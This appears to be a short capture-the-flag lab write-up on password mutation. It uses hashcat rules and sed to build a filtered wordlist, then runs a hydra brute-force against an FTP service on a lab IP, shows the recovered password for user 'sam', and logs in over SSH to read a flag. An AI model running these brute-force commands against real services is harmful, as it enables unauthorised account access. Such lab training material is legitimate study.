---
description: June 04, 2024
---

# Password Mutations

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FyH5yyMAx46MDsYaPfz2g%2Fimage.png?alt=media&#x26;token=ceb73a55-f4ba-4747-9c84-68db1faef0b5" alt=""><figcaption></figcaption></figure>

```
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
wc mut_password.list
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FBnjrGlqZxF4siCnLv1yw%2Fimage.png?alt=media&#x26;token=059fa258-1efe-49a0-980c-5f1776805912" alt=""><figcaption></figcaption></figure>

Just removing characters that are 10 or below

```
sed -ri '/^.{,10}$/d' mut_password.list
wc mut_password.list 
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FgyhkoPVmom4qgLLlbjzF%2Fimage.png?alt=media&#x26;token=ba312d3f-3e88-4138-8f26-7f0bb57c8074" alt=""><figcaption></figcaption></figure>

Removing characters that start with a number

```
sed -ri '/^[0-9]/d' mut_password.list
```

Remove strings that begin with “a/A” characters.

```
sed -ri '/^[aA]/d' mut_password.list
wc mut_password.list
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FO1UgN1ZNHqBscG1Ivpte%2Fimage.png?alt=media&#x26;token=008fa7fd-c127-428e-bd4c-69c981bd2178" alt=""><figcaption></figcaption></figure>

```
hydra -t48 -l sam -P mut_password.list 10.129.146.204 ftp
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FfXdrF8vf7m5Ynj0dAlQl%2Fimage.png?alt=media&#x26;token=916e1667-777a-47d3-9ad7-ef170f72c1a1" alt=""><figcaption></figcaption></figure>

```
login: sam   password: B@tm@n2022!
```

```
ssh sam@10.129.146.204

locate flag.txt
cat /home/sam/smb/flag.txt
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FHmTDxZpHRwT8NqVGQ32S%2Fimage.png?alt=media&#x26;token=e2c99c4d-8616-4b56-b323-a6d7bc6e9a89" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FU5xCfPU7feX8SZnSmxCS%2Fimage.png?alt=media&#x26;token=0cba2570-61e2-4074-aac5-25759bc90f23" alt=""><figcaption></figcaption></figure>
